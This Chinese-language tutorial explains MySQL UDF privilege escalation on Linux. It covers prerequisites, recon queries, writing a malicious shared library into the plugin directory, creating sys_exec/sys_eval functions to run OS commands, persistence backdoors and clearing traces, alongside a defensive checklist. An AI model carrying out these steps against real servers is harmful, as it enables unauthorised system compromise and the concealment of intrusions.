Mysql数据库udf提权Linux平台带写入payload
字数 1092 2025-09-01 11:26:11
MySQL UDF提权技术详解(Linux平台)
一、UDF提权原理
UDF (User Defined Function) 是MySQL数据库的功能扩展机制,允许用户通过自定义函数实现MySQL原生不支持的功能。UDF提权的核心原理是:
- 通过MySQL的动态链接库文件导入自定义函数
- 这些自定义函数可以在SQL语句中调用,如同调用原生函数(如version())
- 精心构造的自定义函数可以执行系统命令,从而实现权限提升
二、前提条件
要成功利用UDF提权,必须满足以下条件:
- 高权限数据库用户:需要root或具有FILE权限的MySQL用户
- secure_file_priv设置:
- MySQL 5.5之前:默认空值,可向任意绝对路径写文件
- MySQL 5.5之后:默认NULL,无法写入文件(无法直接利用)
- MySQL插件目录写入权限:需要能向plugin_dir指定的目录写入文件
三、信息收集阶段
在实施UDF提权前,需要进行以下信息收集:
-- 查看插件目录位置
show variables like '%plugin%';
-- 检查是否已有UDF函数
select * from func;
-- 查看文件写入限制
select @@secure_file_priv;
关键变量plugin_dir显示了MySQL插件安装路径(如/usr/lib/mysql/plugin/),这是我们需要写入恶意库文件的目标位置。
四、UDF提权核心步骤
1. 准备恶意动态库
需要准备一个包含恶意功能的.so文件(Linux平台),通常包含以下功能函数:
sys_exec- 执行系统命令sys_eval- 执行系统命令并返回输出
2. 写入恶意库到插件目录
使用MySQL的写入功能将.so文件写入插件目录:
-- 将十六进制表示的.so文件内容写入目标路径
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
注意:十六进制内容应为完整的.so文件二进制内容。
3. 创建UDF函数
-- 创建函数关联到库中的恶意函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
4. 执行系统命令
-- 使用sys_exec执行命令(无回显)
SELECT sys_exec('id > /tmp/uid.txt');
-- 使用sys_eval执行命令并获取输出
SELECT sys_eval('id');
五、防御措施
- 最小权限原则:MySQL服务账户应使用低权限用户运行
- secure_file_priv设置:应设置为NULL或特定目录
- 插件目录权限:严格控制plugin_dir的写入权限
- UDF函数审计:定期检查func表中注册的函数
- 禁用UDF:不需要时可禁用UDF功能
六、技术限制
- MySQL 5.5+版本默认secure_file_priv=NULL,增加了利用难度
- 需要MySQL高权限账户
- 需要插件目录可写权限
- 部分系统可能有SELinux等额外安全限制
七、高级技巧
- 绕过secure_file_priv:如果web目录可写,可尝试写入web目录通过web执行
- 自定义库开发:可开发更隐蔽的恶意库文件
- 权限维持:创建持久化后门函数
八、清理痕迹
提权成功后应清理痕迹:
-- 删除函数
DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
-- 删除库文件(需系统权限)
SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');
注意:实际攻击行为可能违反法律,本文仅用于安全研究和技术防御参考。